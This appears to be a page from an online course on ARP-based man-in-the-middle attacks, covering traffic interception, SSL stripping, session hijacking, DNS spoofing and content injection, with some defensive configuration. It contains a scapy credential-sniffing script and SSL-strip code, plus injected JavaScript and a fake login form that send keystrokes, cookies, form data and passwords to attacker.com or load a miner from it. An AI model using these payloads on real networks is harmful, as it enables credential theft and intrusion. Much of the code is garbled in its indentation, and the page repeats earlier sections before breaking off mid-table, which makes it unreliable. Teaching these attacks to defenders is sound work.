Arp Security - Learning Module

Loading content...

0/240

Man-in-the-Middle Attacks: Exploiting the Invisible Position

The Power of Invisible Interception

ARP spoofing and cache poisoning are means to an end—they position an attacker between two communicating parties without their knowledge. This positioning enables Man-in-the-Middle (MITM) attacks, one of the most powerful and dangerous categories of network exploitation.

A successful MITM attack grants the attacker god-like visibility over network communications. Every byte of data flowing between victim and destination passes through the attacker's hands. This invisible interception enables:

Passive surveillance — Reading all unencrypted data
Active modification — Altering data in transit
Credential theft — Capturing authentication information
Session hijacking — Taking over authenticated sessions
Injection attacks — Inserting malicious content into legitimate traffic
Encryption downgrade — Forcing weaker or no encryption

The name "Man-in-the-Middle" understates the severity. A better description might be "Silent Omniscient Observer with Edit Access." Once positioned, an attacker can compromise security at every layer of the network stack.

Scope of Compromise

MITM attacks don't just compromise individual sessions—they can compromise entire security architectures. Encrypted connections can be downgraded, certificate warnings can be automated away, and multi-factor authentication can be captured in real-time. This page covers these techniques to help defenders understand the full threat scope.

Learning Objectives

By mastering this page, you will understand: (1) how MITM positioning enables traffic interception, (2) SSL stripping and encryption downgrade attacks, (3) session hijacking mechanics, (4) DNS spoofing via MITM, (5) active content modification techniques, and (6) the cascading security implications of MITM attacks.

MITM Architecture and Traffic Flow

Before exploring specific attack techniques, we must understand the fundamental architecture of an ARP-based MITM attack and how traffic flows through the attacker's system.

The MITM Position:

After successful ARP cache poisoning:

The victim's ARP cache contains: Gateway IP → Attacker MAC
The gateway's ARP cache contains: Victim IP → Attacker MAC

Traffic now flows:

Victim → [thinks it's going to Gateway] → Attacker → Gateway → Internet
Internet → Gateway → [thinks it's going to Victim] → Attacker → Victim

Converting Mermaid diagram...

IP Forwarding: The Critical Enabler:

For MITM to work transparently, the attacker must enable IP forwarding on their system. Without it, traffic arrives at the attacker but goes nowhere—resulting in denial of service rather than interception.

enable_ip_forwarding
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# ================================================
# Enable IP Forwarding for MITM (Linux)
# ================================================
 
# Check current status
cat /proc/sys/net/ipv4/ip_forward
# 0 = disabled, 1 = enabled
 
# Enable temporarily (until reboot)
echo 1 > /proc/sys/net/ipv4/ip_forward
 
# Or using sysctl
sysctl -w net.ipv4.ip_forward=1
 
# Enable permanently (add to /etc/sysctl.conf)
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
sysctl -p
 
# ================================================
# Why IP Forwarding is Necessary
# ================================================
# 
# Without IP forwarding:
#   Victim → Attacker → [DROPPED]
#   Result: No connectivity (DoS, easily detected)
# 
# With IP forwarding:
#   Victim → Attacker → Gateway → Internet
#   Result: Transparent interception (hard to detect)
#
# ================================================
 
# Verify forwarding is working
# On attacker, watch traffic:
tcpdump -i any -n host 192.168.1.50
 
# You should see:
# - Packets FROM victim TO internet destinations
# - Packets FROM internet TO victim
# - All passing through attacker's interfaces

Traffic Interception Architecture:

Once positioned and with forwarding enabled, the attacker can implement various interception strategies:

1. Passive Capture (Surveillance)

Simply log all traffic for later analysis
Tools: tcpdump, Wireshark, tshark
Minimal risk of detection
Full traffic visibility

2. Active Modification (Injection)

Alter packets in transit before forwarding
Requires real-time packet processing
Tools: mitmproxy, bettercap, ettercap
Higher detection risk if modifications cause errors

3. Selective Forwarding (Filtering)

Block specific traffic while allowing other traffic
Enables surgical denial of service
Can prevent security updates, revocation checks
Tools: iptables, nftables, custom scripts

4. Traffic Cloning (Surveillance + Forwarding)

Copy traffic for analysis while forwarding original
Minimal latency impact
Best for passive intelligence gathering

Detection Opportunity

MITM attacks introduce latency. Every packet travels an extra hop through the attacker. In high-precision timing environments, this added latency can be detected. However, on typical LANs, the added microseconds are imperceptible.

Passive Traffic Interception

The simplest exploitation of MITM positioning is passive interception—silently capturing all traffic for analysis without modification. This approach is stealthy and powerful, especially against unencrypted protocols.

What Can Be Captured:

Vulnerable Protocols and Extractable Data
Protocol	Port	Captured Data	Impact
HTTP	80	URLs, cookies, form data, credentials	Full session visibility, credential theft
FTP	21	Usernames, passwords, file contents	Complete credential and data exposure
Telnet	23	All terminal I/O including passwords	Complete session capture
SMTP	25	Email content, sender/recipient, auth	Email surveillance, credential theft
POP3	110	Emails, credentials	Mailbox access
IMAP	143	Emails, folder structure, credentials	Full mailbox visibility
DNS	53	All domain queries and responses	Browsing history, infrastructure mapping
SNMP v1/v2	161	Community strings, device data	Network enumeration, device access
LDAP	389	Directory queries, sometimes creds	User enumeration, auth bypass
MySQL	3306	Queries, potentially credentials	Database access, data exfiltration

Automated Credential Extraction:

Modern MITM frameworks automatically parse captured traffic for credentials:

credential_extraction_concept.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#!/usr/bin / env python3
"""
Credential Extraction from MITM Traffic - Conceptual Example
WARNING: For educational and authorized testing only.
 
This demonstrates how attackers automatically extract credentials
from captured network traffic.Understanding this helps defenders
prioritize encryption and monitoring.
"""
 
from scapy.all import sniff, TCP, Raw
import re
from typing import Optional, Dict, List
from dataclasses import dataclass
from datetime import datetime
 
@dataclass
                            class CapturedCredential:
                        """Represents extracted credential data."""
    timestamp: str
    protocol: str
    source_ip: str
    dest_ip: str
    dest_port: int
    username: Optional[str]
    password: Optional[str]
    additional_data: Dict
 
class CredentialExtractor:
                        """
    Extracts credentials from common protocols.
    
    In real attacks, tools like Ettercap, Bettercap, and
    mitmproxy handle this automatically with extensive
    protocol support.
    """
    
    def __init__(self):
                        self.credentials: List[CapturedCredential] = []
        
        # Protocol - specific extractors
        self.extractors = {
                        21: self.extract_ftp,
                        23: self.extract_telnet,
                        25: self.extract_smtp,
                        80: self.extract_http,
                        110: self.extract_pop3,
                        143: self.extract_imap,
                    }
    
    def process_packet(self, packet):
                        """Process a captured packet for credentials."""
        if not packet.haslayer(TCP) or not packet.haslayer(Raw):
                    return
        
        tcp = packet[TCP]
        payload = packet[Raw].load.decode('utf-8', errors = 'ignore')
        
        # Check destination port for known protocols
        if tcp.dport in self.extractors:
                    self.extractors[tcp.dport](packet, payload)
        
        # Also check source port(for server responses)
    if tcp.sport in self.extractors:
        self.extractors[tcp.sport](packet, payload)
    
    def extract_http(self, packet, payload: str):
    """
        Extract credentials from HTTP traffic.
 
        Targets:
    - Basic Authentication headers
        - Form POST data
            - Cookies containing session tokens
    """
        # Basic Authentication
    auth_match = re.search(
        r'Authorization: Basic ([A-Za-z0-9+/=]+)',
        payload
    )
    if auth_match:
        import base64
            try:
    decoded = base64.b64decode(auth_match.group(1)).decode()
    if ':' in decoded:
        user, passwd = decoded.split(':', 1)
    self._add_credential(
        packet, 'HTTP-Basic', user, passwd, {}
    )
    except:
    pass
        
        # POST form data
    if 'POST' in payload:
            # Look for common credential field names
    patterns = [
        r'(?:user|login|email|username)[=:]([^&\s]+)',
        r'(?:pass|password|passwd|pwd)[=:]([^&\s]+)',
    ]
 
    user = None
    passwd = None
 
    for pattern in patterns:
        match = re.search(pattern, payload, re.I)
    if match:
        value = match.group(1)
    if 'user' in pattern or 'email' in pattern:
    user = value
                    else:
    passwd = value
 
    if user or passwd:
    self._add_credential(
        packet, 'HTTP-POST', user, passwd,
        { 'url': self._extract_url(payload) }
    )
        
        # Session cookies
    cookie_match = re.search(r'Cookie: (.+?)(?:\r
|$)', payload)
    if cookie_match:
        cookies = cookie_match.group(1)
            # Look for session identifiers
            session_patterns = [
            r'(?:session|sid|PHPSESSID|JSESSIONID)[=]([^;]+)',
        ]
            for pattern in session_patterns:
            match = re.search(pattern, cookies, re.I)
    if match:
        self._add_credential(
            packet, 'HTTP-Session', None, None,
            { 'session_token': match.group(1) }
        )
    
    def extract_ftp(self, packet, payload: str):
    """
        Extract FTP credentials.
        FTP sends USER and PASS in plaintext.
        """
    user_match = re.search(r'USER (.+?)\r
', payload)
    pass_match = re.search(r'PASS (.+?)\r
', payload)
 
    if user_match:
        self._add_credential(
            packet, 'FTP', user_match.group(1), None, {}
        )
 
    if pass_match:
            # Find corresponding user from recent captures
    self._add_credential(
        packet, 'FTP', None, pass_match.group(1), {}
    )
    
    def extract_smtp(self, packet, payload: str):
    """
        Extract SMTP credentials.
        AUTH PLAIN sends base64 - encoded credentials.
        """
    if 'AUTH PLAIN' in payload:
        match = re.search(r'AUTH PLAIN ([A-Za-z0-9+/=]+)', payload)
    if match:
        try:
    import base64
                    decoded = base64.b64decode(match.group(1)).decode()
                    # Format: \x00username\x00password
    parts = decoded.split('\x00')
    if len(parts) >= 3:
        self._add_credential(
            packet, 'SMTP', parts[1], parts[2], {}
        )
    except:
    pass
    
    def extract_pop3(self, packet, payload: str):
    """Extract POP3 credentials (USER/PASS commands)."""
    user_match = re.search(r'USER (.+?)\r
', payload)
    pass_match = re.search(r'PASS (.+?)\r
', payload)
 
    if user_match:
        self._add_credential(
            packet, 'POP3', user_match.group(1), None, {}
        )
    if pass_match:
        self._add_credential(
            packet, 'POP3', None, pass_match.group(1), {}
        )
    
    def extract_imap(self, packet, payload: str):
    """Extract IMAP credentials."""
        # LOGIN command: tag LOGIN user password
    login_match = re.search(
        r'LOGIN "?([^"\s]+)"? "?([^"\s]+)"?',
        payload
    )
    if login_match:
        self._add_credential(
            packet, 'IMAP',
            login_match.group(1),
            login_match.group(2),
            {}
        )
    
    def extract_telnet(self, packet, payload: str):
    """
        Extract Telnet credentials.
        Challenging because input is character - by - character.
        Real tools buffer and reconstruct.
        """
        # Simplified: look for login prompts and responses
    if 'login:' in payload.lower() or 'password:' in payload.lower():
    self._add_credential(
        packet, 'Telnet', None, None,
        { 'hint': 'Telnet session detected - manual analysis needed' }
    )
    
    def _add_credential(self, packet, protocol: str,
        user: Optional[str], passwd: Optional[str],
        additional: Dict):
    """Store extracted credential."""
    cred = CapturedCredential(
        timestamp = datetime.now().isoformat(),
        protocol = protocol,
        source_ip = packet.sprintf("%IP.src%"),
        dest_ip = packet.sprintf("%IP.dst%"),
        dest_port = packet[TCP].dport,
        username = user,
        password = passwd,
        additional_data = additional
    )
    self.credentials.append(cred)
    print(f"[CAPTURED] {protocol}: {user}:{passwd} -> {cred.dest_ip}")
    
    def _extract_url(self, payload: str) -> Optional[str]:
    """Extract URL from HTTP request."""
    match = re.search(r'(?:GET|POST) ([^\s]+)', payload)
    return match.group(1) if match else None
 
# Real - world note:
# Professional tools like Ettercap filter for dozens of protocols
# including IMAP, Rlogin, NNTP, IRC, SOCKS, and database protocols.
# They also handle SSL stripping, which we cover next.

The Plaintext Protocol Problem

Despite decades of warnings, plaintext protocols remain in use. Legacy systems, IoT devices, internal tools, and misconfigured services continue to transmit credentials in cleartext. A single MITM attack can harvest years of accumulated passwords traveling across an unencrypted network.

SSL Stripping and Downgrade Attacks

Modern networks extensively use TLS/SSL encryption, which should protect against MITM attacks. However, sophisticated attackers don't try to break encryption—they remove it entirely through SSL stripping.

The SSL Stripping Concept:

SSL stripping exploits the transition from HTTP to HTTPS:

User types bank.com in browser (no protocol specified)
Browser first tries http://bank.com
Server responds with redirect to https://bank.com
Browser follows redirect and establishes encrypted session

The vulnerability is in step 2-3. The initial HTTP request and redirect response are unencrypted. An attacker can intercept this and maintain an HTTP connection with the victim while establishing HTTPS with the server.

Converting Mermaid diagram...

How SSL Stripping Works:

Phase 1: Intercept the Redirect

User connects to HTTP site
Attacker intercepts the HTTPS redirect
Attacker returns HTTP content instead

Phase 2: Dual-Protocol Bridge

Attacker maintains HTTP connection to victim
Attacker maintains HTTPS connection to real server
Attacker translates between protocols

Phase 3: Content Modification

Replace all https:// links with http://
Remove Strict-Transport-Security headers
Modify form actions to use HTTP
Victim never sees encryption indicators

Phase 4: Credential Capture

Login forms submit via HTTP to attacker
Attacker forwards to server via HTTPS
Server accepts valid credentials
User sees successful login
Attacker has captured credentials

ssl_strip_concept
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
"""
SSL Stripping Conceptual Flow
 
The core technique of SSL stripping is intercepting HTTPS redirects
and converting them to HTTP, then proxying the connection.
 
Key transformations:
1. 301/302 redirects to HTTPS → 200 OK with HTTP content
2. https:// links in HTML → http://
3. Secure cookies → Non-secure cookies
4. HSTS headers → Stripped/Removed
"""
 
# Conceptual SSLStrip response transformation
 
def strip_ssl_response(response):
    """
    Transform HTTPS response to HTTP for victim.
    This is the core of SSL stripping.
    """
    
    # 1. Handle HTTPS redirects
    if response.status_code in (301, 302):
        location = response.headers.get('Location', '')
        if location.startswith('https://'):
            # Don't redirect victim - fetch content ourselves
            # and serve via HTTP
            https_content = fetch_via_https(location)
            return transform_to_http(https_content)
    
    # 2. Modify HTML content
    html = response.text
    
    # Replace HTTPS links with HTTP
    html = html.replace('https://', 'http://')
    
    # Convert secure form actions
    html = re.sub(
        r'action="https://([^"]+)"',
        r'action="http://\1"',
        html
    )
    
    # 3. Strip security headers
    headers_to_remove = [
        'Strict-Transport-Security',  # HSTS
        'Content-Security-Policy',     # CSP upgrade-insecure-requests
        'X-Content-Type-Options',
    ]
    
    for header in headers_to_remove:
        response.headers.pop(header, None)
    
    # 4. Modify Set-Cookie headers
    # Remove 'Secure' flag so cookies work over HTTP
    cookies = response.headers.get('Set-Cookie', '')
    cookies = cookies.replace('; Secure', '')
    cookies = cookies.replace(';Secure', '')
    
    return modified_response
 
# Visual URL indicators attackers must obscure:
# 
# HTTPS:  🔒 https://bank.com/login
#              ↓ (stripped)
# HTTP:   ⚠️  http://bank.com/login
#
# Attackers use various tricks:
# - Hope user doesn't check address bar
# - Use similar-looking punycode domains
# - SSL strip during non-login pages initially

Defenses Against SSL Stripping:

Several technologies mitigate SSL stripping attacks:

SSL Stripping Countermeasures
Defense	How It Works	Effectiveness	Limitations
HSTS (HTTP Strict Transport Security)	Browser remembers site requires HTTPS	High (after first visit)	First visit still vulnerable; requires preload for full protection
HSTS Preload	Browser ships with list of HTTPS-only sites	Very High	Requires domain registration; not all browsers support
HTTPS Everywhere	Browser extension enforces HTTPS	Medium	User must install; ruleset may be incomplete
Certificate Pinning	App/browser only accepts specific cert	Very High	Complex to manage; breaks if cert changes
Visual Indicators	Users check for lock icon	Low	Users don't consistently check; can be spoofed in some browsers

HSTS Preload is Critical

For high-security sites (banking, healthcare, government), HSTS preloading is essential. This ensures browsers will never make an initial HTTP request, completely preventing SSL stripping. Submit your domain to hstspreload.org after implementing HSTS with preload directive.

Session Hijacking

Even when attackers cannot capture passwords, they can often steal something just as valuable: session tokens. Session hijacking allows attackers to take over authenticated sessions without knowing the user's credentials.

Understanding Session Tokens:

Modern web applications use session tokens to maintain state:

User authenticates with username/password
Server creates session, issues token (usually a cookie)
Browser attaches token to subsequent requests
Server validates token, grants access

The hijacking opportunity: If an attacker captures the session token, they can impersonate the user without ever knowing the password.

Session Hijacking Vectors

•Cookie capture on HTTP — Session cookies transmitted in cleartext
•Mixed content attacks — HTTPS page loads HTTP resources with cookies
•XSS to exfiltrate — JavaScript steals document.cookie
•Session fixation — Attacker forces known session ID
•Sidejacking — Capture on unencrypted WiFi

Session Protection Mechanisms

•Secure flag — Cookie only sent over HTTPS
•HttpOnly flag — Cookie inaccessible to JavaScript
•SameSite flag — Prevents cross-site cookie sending
•Session binding — Tie session to IP/user-agent
•Short expiration — Limit window of vulnerability

MITM Session Hijacking Attack Flow:

Converting Mermaid diagram...

Real-World Session Hijacking: Firesheep

In 2010, the Firesheep Firefox extension brought session hijacking to the masses. It demonstrated how trivially an attacker on the same WiFi network could hijack Facebook, Twitter, and other sessions by capturing unencrypted cookies.

Firesheep's impact:

Sessions were captured automatically
One-click impersonation
Worked on any open WiFi network
Led to widespread HTTPS adoption

Legacy: Firesheep embarrassed major platforms into deploying full-site HTTPS and proper cookie security flags. However, many smaller applications remain vulnerable.

session_hijack_defense.py
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
"""
Session Security Best Practices - Defense Reference
 
These configurations protect against MITM session hijacking.
"""
 
# Flask example with secure session configuration
from flask import Flask, session, request
import secrets
 
app = Flask(__name__)
 
# Strong secret key for session signing
app.secret_key = secrets.token_hex(32)
 
# Session cookie configuration
app.config.update(
    # Only send cookie over HTTPS
    SESSION_COOKIE_SECURE=True,
    
    # Prevent JavaScript access (stops XSS theft)
    SESSION_COOKIE_HTTPONLY=True,
    
    # Only send to same site (stops CSRF)
    SESSION_COOKIE_SAMESITE='Lax',
    
    # Reasonable expiration (30 minutes)
    PERMANENT_SESSION_LIFETIME=1800,
    
    # Use server-side sessions for sensitive data
    SESSION_TYPE='filesystem',  # or 'redis'
)
 
# Additional session binding (defense in depth)
@app.before_request
def validate_session():
    """
    Bind session to client characteristics.
    Hijacked sessions from different clients will fail.
    """
    if 'user_id' in session:
        # Validate session binding
        stored_ip = session.get('bound_ip')
        stored_ua = session.get('bound_user_agent')
        
        current_ip = request.remote_addr
        current_ua = request.headers.get('User-Agent', '')
        
        # Strict: reject if anything changes
        # Note: This may cause issues with mobile users
        if stored_ip and stored_ip != current_ip:
            session.clear()
            return "Session invalidated: IP changed", 401
        
        if stored_ua and stored_ua != current_ua:
            session.clear()
            return "Session invalidated: UA changed", 401
 
@app.route('/login', methods=['POST'])
def login():
    """Bind session to client on login."""
    # ... authentication logic ...
    
    # Regenerate session ID after login (prevents fixation)
    session.clear()
    session['user_id'] = user.id
    
    # Bind to client characteristics
    session['bound_ip'] = request.remote_addr
    session['bound_user_agent'] = request.headers.get('User-Agent', '')
    session['login_time'] = datetime.utcnow().isoformat()
    
    return redirect('/dashboard')
 
# HTTP Strict Transport Security header
@app.after_request
def add_security_headers(response):
    """Add security headers to all responses."""
    # Enforce HTTPS for 1 year, including subdomains
    response.headers['Strict-Transport-Security'] = \
        'max-age=31536000; includeSubDomains; preload'
    
    # Prevent clickjacking
    response.headers['X-Frame-Options'] = 'DENY'
    
    # Prevent MIME sniffing
    response.headers['X-Content-Type-Options'] = 'nosniff'
    
    return response

Defense Requires Multiple Layers

No single defense is sufficient. Secure cookies can be bypassed via SSL stripping. Session binding can be evaded by proxying from the victim's network. Short expiration limits damage but doesn't prevent it. Layer all available defenses for robust session security.

DNS Spoofing via MITM

Once positioned as a Man-in-the-Middle, attackers can manipulate DNS queries and responses to redirect victims to malicious servers. This is DNS spoofing or DNS hijacking.

Why DNS Spoofing is Powerful:

DNS is the internet's directory service. Controlling DNS means controlling where users go when they type a domain name. A MITM attacker can:

Redirect bank.com to a phishing page
Redirect software update servers to malware distribution
Redirect email servers to intercept communications
Redirect any domain to any IP address

DNS Spoofing Mechanics:

Converting Mermaid diagram...

DNS Spoofing Techniques:

1. Query Interception and Response Fabrication

Intercept DNS query from victim
Generate fake response with attacker-controlled IP
Forward victim to malicious server
Optional: forward to real DNS for logging/comparison

2. Response Modification

Let query reach real DNS server
Intercept legitimate response
Modify IP address in response
Forward modified response to victim

3. Selective Spoofing

Only spoof specific domains (banks, email, etc.)
Let other queries pass normally
Reduces detection and victim suspicion

Implementation Challenges for Attackers:

DNS Spoofing Challenges and Solutions
Challenge	Attacker's Solution	Defender's Opportunity
Certificate warnings for HTTPS sites	Use phishing domain with valid cert; SSL strip	Users trained to verify domain names
DNS caching at victim	Spoof before cache expires; wait for TTL	Long TTLs reduce attack window
DNSSEC validation	Hope victim doesn't use validating resolver	Deploy DNSSEC on critical domains
DoH/DoT encrypted DNS	Attack before DoH established; be the DoH server	Use DoH with pinned resolvers
Browser security warnings	Automate certificate generation	HSTS preload for critical sites

DNS over HTTPS (DoH) Changes the Game

DNS over HTTPS encrypts DNS queries, preventing MITM observation and modification. However, if an attacker controls the network before the user establishes DoH, they can block DoH and force fallback to traditional DNS. Defense requires pinned DoH resolvers or enterprise DoH deployment.

dns_spoof_defense
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# ================================================
# DNS Spoofing Defense Configuration
# ================================================
 
# Enable DNS over HTTPS (DoH) in browsers:
# Firefox: Settings → Network Settings → Enable DNS over HTTPS
# Chrome: Settings → Privacy → Use secure DNS
# Edge: Settings → Privacy → Use secure DNS
 
# Configure system-wide DoH (Linux with systemd-resolved)
cat >> /etc/systemd/resolved.conf << 'EOF'
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 8.8.8.8#dns.google
DNSOverTLS=yes
EOF
 
systemctl restart systemd-resolved
 
# Verify DNS is encrypted
# Install: sudo apt install knot-dnsutils
kdig @1.1.1.1 +tls example.com
 
# ================================================
# DNSSEC Validation
# ================================================
 
# Check if domain uses DNSSEC
dig example.com +dnssec
 
# Look for RRSIG records in response
# Validating resolvers will reject spoofed responses
# that don't have valid DNSSEC signatures
 
# ================================================
# Local DNS Cache Protection
# ================================================
 
# View DNS cache (Linux with systemd)
resolvectl statistics
resolvectl query google.com
 
# Clear DNS cache (flush spoofed entries)
resolvectl flush-caches
 
# Windows: Clear DNS cache
ipconfig /flushdns

Active Content Modification

The most sophisticated MITM attacks don't just observe traffic—they actively modify it. Content modification enables attacks far beyond credential theft.

Types of Content Modification:

1. JavaScript Injection

Attackers inject malicious JavaScript into HTML pages:

js_injection_concept
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Original HTML from server:
// <html><body>Welcome to Example.com</body></html>
 
// Attacker injects before </body>:
<script>
// Keylogger - capture all keystrokes
document.addEventListener('keypress', function(e) {
    new Image().src = 'http://attacker.com/log?key=' + e.key;
});
 
// Form hijacker - intercept form submissions
document.querySelectorAll('form').forEach(form => {
    form.addEventListener('submit', function(e) {
        // Send form data to attacker before real submission
        fetch('http://attacker.com/steal', {
            method: 'POST',
            body: new FormData(this)
        });
        // Form continues to real destination
    });
});
 
// Cookie stealer - exfiltrate all cookies
new Image().src = 'http://attacker.com/cookies?c=' + 
    encodeURIComponent(document.cookie);
 
// Crypto-miner - use victim's CPU
const script = document.createElement('script');
script.src = 'http://attacker.com/miner.js';
document.body.appendChild(script);
</script>
 
// Modified HTML served to victim:
// <html><body>Welcome to Example.com<script>...</script></body></html>
 
// Note: This works even on HTTPS sites if SSL stripping succeeded
// or if internal sites use HTTP.

2. Download Substitution

Attacker replaces legitimate downloads with malicious versions:

User downloads setup.exe from software vendor
MITM intercepts the download
Attacker substitutes trojaned installer
User installs malware thinking it's legitimate software

This attack is extremely effective because:

Users expect to download executables
Trust is based on the website, not the file
Malware is run with user permission

3. Update Mechanism Hijacking

Many applications auto-update via HTTP:

Application checks http://vendor.com/version.xml
MITM responds with "new version available"
Application downloads http://vendor.com/update.exe
MITM serves malware instead
Application auto-runs the "update"

4. Credential Form Injection

Inject fake login forms into legitimate-looking pages:

form_injection_concept.html
HTML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- Injected into any HTTP page -->
<div id="fake-login" style="
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: white;
    padding: 30px;
    border-radius: 10px;
    box-shadow: 0 10px 50px rgba(0,0,0,0.3);
    z-index: 99999;
">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    
    <form action="http://attacker.com/steal" method="POST">
        <input type="hidden" name="site" value="[current domain]">
        
        <label>Email:</label>
        <input type="email" name="email" required><br>
        
        <label>Password:</label>
        <input type="password" name="password" required><br>
        
        <button type="submit">Log In</button>
    </form>
</div>
 
<!-- 
    This overlay appears on any page.
    Users often enter credentials without checking the URL.
    Attacker collects credentials from multiple sites.
    
    Defense: Never trust unexpected login prompts.
    Always verify you're on the correct domain.
-->

Advanced Modification Techniques

•BeEF Framework Integration — Hook browsers for persistent control, launch further attacks
•Selective Modification — Only modify specific pages to avoid detection
•Integrity Bypass — Remove Subresource Integrity (SRI) attributes that would detect tampering
•CSP Stripping — Remove Content-Security-Policy headers that prevent script injection
•Service Worker Injection — Install persistent malicious service workers
•WebSocket Hijacking — Intercept real-time communications

The HTTP Death Spiral

Once a user visits any HTTP page on a network with an active MITM, they can be persistently compromised. Injected JavaScript can install service workers that persist even after leaving the malicious network. This is why organizations must enforce HTTPS everywhere—a single HTTP page can be the entry point for complete browser compromise.

Summary: MITM Attack Capabilities

Man-in-the-Middle positioning through ARP cache poisoning unlocks devastating attack capabilities. Understanding these techniques is essential for defenders who must prioritize protections.

Attack Capabilities Summary:

Key Takeaways

•MITM enables complete traffic visibility — All data flowing between victim and network passes through attacker, enabling surveillance and modification.
•SSL stripping bypasses encryption — By intercepting HTTPS redirects, attackers can maintain plaintext connections with victims while appearing legitimate.
•Session hijacking enables impersonation — Captured session tokens grant access without credentials, bypassing password-based security.
•DNS spoofing redirects users — Controlling DNS responses means controlling where users go, enabling phishing and malware distribution.
•Content modification enables persistent compromise — Injected JavaScript and modified downloads can establish persistent attacker presence.
•Defenses must be layered — No single protection is sufficient; HSTS, secure cookies, DNSSEC, and network segmentation all play roles.

What's Next:

Now that we understand the attacks that MITM positioning enables, we turn to defense. The next page covers ARP Security Measures—practical techniques to prevent, detect, and mitigate ARP-based attacks at both host and network levels.

Page Complete

You now understand the full scope of Man-in-the-Middle attack capabilities—from passive interception through SSL stripping, session hijacking, DNS spoofing, and content modification. This knowledge of attack techniques prepares you to implement effective defenses covered in the following pages.

Man-in-the-Middle Attacks: Exploiting the Invisible Position

The Power of Invisible Interception

Passive surveillance — Reading all unencrypted data
Active modification — Altering data in transit
Credential theft — Capturing authentication information
Session hijacking — Taking over authenticated sessions
Injection attacks — Inserting malicious content into legitimate traffic
Encryption downgrade — Forcing weaker or no encryption

Scope of Compromise

Learning Objectives

MITM Architecture and Traffic Flow

Before exploring specific attack techniques, we must understand the fundamental architecture of an ARP-based MITM attack and how traffic flows through the attacker's system.

The MITM Position:

After successful ARP cache poisoning:

The victim's ARP cache contains: Gateway IP → Attacker MAC
The gateway's ARP cache contains: Victim IP → Attacker MAC

Traffic now flows:

Victim → [thinks it's going to Gateway] → Attacker → Gateway → Internet
Internet → Gateway → [thinks it's going to Victim] → Attacker → Victim

Converting Mermaid diagram...

IP Forwarding: The Critical Enabler:

enable_ip_forwarding
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# ================================================
# Enable IP Forwarding for MITM (Linux)
# ================================================
 
# Check current status
cat /proc/sys/net/ipv4/ip_forward
# 0 = disabled, 1 = enabled
 
# Enable temporarily (until reboot)
echo 1 > /proc/sys/net/ipv4/ip_forward
 
# Or using sysctl
sysctl -w net.ipv4.ip_forward=1
 
# Enable permanently (add to /etc/sysctl.conf)
echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
sysctl -p
 
# ================================================
# Why IP Forwarding is Necessary
# ================================================
# 
# Without IP forwarding:
#   Victim → Attacker → [DROPPED]
#   Result: No connectivity (DoS, easily detected)
# 
# With IP forwarding:
#   Victim → Attacker → Gateway → Internet
#   Result: Transparent interception (hard to detect)
#
# ================================================
 
# Verify forwarding is working
# On attacker, watch traffic:
tcpdump -i any -n host 192.168.1.50
 
# You should see:
# - Packets FROM victim TO internet destinations
# - Packets FROM internet TO victim
# - All passing through attacker's interfaces

Traffic Interception Architecture:

Once positioned and with forwarding enabled, the attacker can implement various interception strategies:

1. Passive Capture (Surveillance)

Simply log all traffic for later analysis
Tools: tcpdump, Wireshark, tshark
Minimal risk of detection
Full traffic visibility

2. Active Modification (Injection)

Alter packets in transit before forwarding
Requires real-time packet processing
Tools: mitmproxy, bettercap, ettercap
Higher detection risk if modifications cause errors

3. Selective Forwarding (Filtering)

Block specific traffic while allowing other traffic
Enables surgical denial of service
Can prevent security updates, revocation checks
Tools: iptables, nftables, custom scripts

4. Traffic Cloning (Surveillance + Forwarding)

Copy traffic for analysis while forwarding original
Minimal latency impact
Best for passive intelligence gathering

Detection Opportunity

Passive Traffic Interception

What Can Be Captured:

Vulnerable Protocols and Extractable Data
Protocol	Port	Captured Data	Impact
HTTP	80	URLs, cookies, form data, credentials	Full session visibility, credential theft
FTP	21	Usernames, passwords, file contents	Complete credential and data exposure
Telnet	23	All terminal I/O including passwords	Complete session capture
SMTP	25	Email content, sender/recipient, auth	Email surveillance, credential theft
POP3	110	Emails, credentials	Mailbox access
